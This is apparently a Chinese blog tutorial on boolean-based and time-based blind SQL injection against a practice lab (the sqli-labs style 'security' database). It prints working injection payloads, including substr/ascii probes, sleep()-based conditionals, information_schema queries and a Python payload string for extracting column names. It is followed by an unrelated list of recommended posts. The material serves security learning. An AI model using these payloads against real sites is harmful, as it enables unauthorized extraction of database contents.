一、boolen盲注和时间盲注

一、boolen盲注

布尔盲注就是在SQL注入过程中,SQL语句执行后,查询到的数据不能回显到前端页面,布尔盲注通常是由于开发者将报错信息屏蔽而导致的,但是网页中真和假有着不同的回显,比如为真时返回access,为假时返回false;或者为真时返回正常页面,为假时跳转到错误页面等。不需要返回结果,仅判断语句是否正常执行。

二、boolen盲注过程

1、输入id,是否有注入点

输入?id=1后,显示如图

2、输入?id=1'后,发现没有回显

3、判断字段数,?id=1' order by 3--+, 显示You are in...

4、联合查询, ?id=1' union select 1,2,3--+

通过以上尝试,猜测有可能是boolen盲注

5、猜测数据库的长度

最终猜长度为8

6、获取数据库名称

通过截取字符串的方式。函数substr(string, start, length) 截取字符串,这个函数用来截取一个字符串从'start'位,可以是第1位、第2位、第3位,以此类推。每次截取'length'个字符。

尝试截取,

输入:?id=1' and substr(database(),1,1)='s'--+

发现截取到一个字符为's'

选择用python破解字段为's'

7、获取表名

测试表名长度输入:?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database()limit 0,1),1,1)))=101 --+

获取表名

选择python破解

8、getcolumn获取字段名

使用python脚本获取字段名(脚本中payload内容要修改)

9、获取具体数据

依旧选用python脚本破解

二、时间盲注

1、判断注入点

输入:?id=1' and if(ascii(substr(database(),1,1))>110,sleep(3),0)--+

2、猜测数据库长度

输入:?id=1' and if(length(database())=8,sleep(3),0)--+

如果数据库长度等于8,则页面沉睡3秒,如果数据库长度不等于8,则页面无反应。

3、获取数据库名称

首先测试输入:?id=1'and if(ascii(substr((select database()),1,1))='s',sleep(3),0)--+

如果数据库名称第一个字符是's',则页面沉睡3秒,否则没有反应。

使用python脚本来获取(时间会比较慢)

4、获取表名

首先测试输入:?id=1'and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))=97,sleep(5),1)--+

此页面没有沉睡,说明表名首字母ascii值不为97

用python脚本获取表名

5、获取字段名

使用python脚本讲payload内容修改一下

"1' and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'), %d, 1)) > %d, sleep(1), 0)-- " % (i, mid)

6、获取数据

时间盲注的优先级不高,当字符数字注入、联合注入、报错注入、boolen盲注都不能使用时,可以考虑时间盲注

从python脚本可发现效率低。

相关推荐
程序员夏洛25 分钟前
Redis 数据过期后的删除策略是什么?
数据库·redis·缓存
鱼鳞_26 分钟前
热门八股-Redis
数据库·redis·缓存
这个DBA有点耶34 分钟前
SQL:2023新特性详解:JSON_TABLE、GREATEST/LEAST、QUALIFY 到底怎么用?
数据库·sql·mysql
AOI小白新手上路1 小时前
江科协15-2 直流电机实验调试总结
数据库·mongodb
小王C语言1 小时前
MySQL 用户管理:创建用户、给用户授权
数据库·mysql
程序员夏洛1 小时前
Redis 的持久化机制有哪些?
java·数据库·redis
l1t1 小时前
DeepSeek总结的修复pgrust v0.2 #83:generate_series 聚合及其底层的两个成本 - #84
数据库·postgresql
厦门德仔2 小时前
【YiFeiWebApi】易飞ERP与WMS系统接口对接实战:从0到1全流程指南
大数据·数据库
内存漫游2 小时前
Page 到底是什么:数据库如何把一条条记录放进磁盘
数据库
小镇敲码人2 小时前
【深入浅出】之Qt 事件系统实战:鼠标、键盘、滚轮、窗口与定时器事件
数据库·qt·网络协议·mysql·http